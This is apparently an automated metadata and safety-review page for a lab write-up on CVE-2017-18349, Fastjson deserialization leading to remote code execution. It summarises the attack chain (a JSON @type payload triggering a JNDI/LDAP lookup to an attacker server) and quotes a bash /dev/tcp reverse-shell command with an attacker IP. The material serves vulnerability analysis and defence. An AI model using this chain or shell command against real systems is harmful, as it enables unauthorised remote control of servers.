CVE-2017-18349 Exploit Metadata

PoC files

8 files

File viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.

Analysisdeepseek-v4-pro:cloud · 2026-08-07

Technical assessment

A detailed technical writeup analyzing and exploiting CVE-2017-18349, a Fastjson 1.2.24 deserialization vulnerability, in a lab environment. The document describes system analysis, fingerprinting, exploitation chain verification, and provides Java exploit code and commands, but the artifact itself is a README.md documentation file, not executable exploit or scanner code.

Backdoor review

No backdoor observed in reviewed code

The supplied evidence is a single README.md file that documents a penetration testing walkthrough for CVE-2017-18349 (Fastjson deserialization). It describes reconnaissance, fingerprinting, and exploitation steps using standard tools and payloads against a lab target. No backdoor, deceptive payload, or concealed operator-directed harm targeting the reader was observed in the reviewed text.

ClassificationWriteup

Model confidence95%

AuthenticationNot required

Languagesmarkdownjavabash

Target softwarefastjsonpippo

Attack typesdeserialization of untrusted dataremote code execution

Evidence & reasoningClassification basis · observed behavior · safety review

Technical evidence

Classification basis and observed behavior

Classification basis

The artifact is a README.md file containing a step-by-step technical analysis, exploitation walkthrough, and risk assessment for CVE-2017-18349. It includes code snippets (Java, bash) and commands but is a documentation writeup, not a standalone executable exploit or scanner.

README.md:1-290

Requirements

Target must be running Fastjson version 1.2.24 or earlier with AutoType enabled.README.md:78-80
Target JVM must allow remote codebase loading via JNDI (e.g., Java 8u102).README.md:96-98
Attacker must control an LDAP server and HTTP server to serve the malicious class.README.md:186-189

Observed behavior

Sends a crafted JSON POST request with @type set to com.sun.rowset.JdbcRowSetImpl and dataSourceName pointing to attacker's LDAP server.README.md:228-231
Victim JVM performs JNDI lookup to attacker's LDAP server, downloads and executes a malicious class, resulting in a reverse shell.README.md:154-160

Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Ip Address: 192.168.3.137Target victim IP address used in the documented lab exploitation scenario.README.md:22
Ip Address: 192.168.3.114Attacker-controlled IP address used for reverse shell and JNDI/LDAP callback in the documented lab exploitation scenario.README.md:172
Url: ldap://192.168.3.114:1389/6bzjwgJNDI LDAP endpoint generated by the attacker's tool to trigger remote class loading in the documented lab exploitation scenario.README.md:212
Command: exec 5<>/dev/tcp/192.168.3.114/4444;cat <&5 | while read line; do $line 2>&5 >&5; doneReverse shell payload embedded in the Java Exploit class used in the documented lab exploitation scenario.README.md:172

Review boundaries

What the analysis did not establish

Only one text file (README.md) was provided; 7 non-text media files (images) were omitted, which may contain additional visual evidence.
The artifact is a lab report/writeup, not the original exploit or scanner code; the described exploit code is embedded within the documentation.
Seven non-text media files (images) totaling 441,240 bytes were present in the repository but were not analyzed; their content could not be reviewed.
The review covers only the supplied evidence packet; no other files or commits in the repository were inspected.

Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Linked vulnerabilities

CVE-2017-18349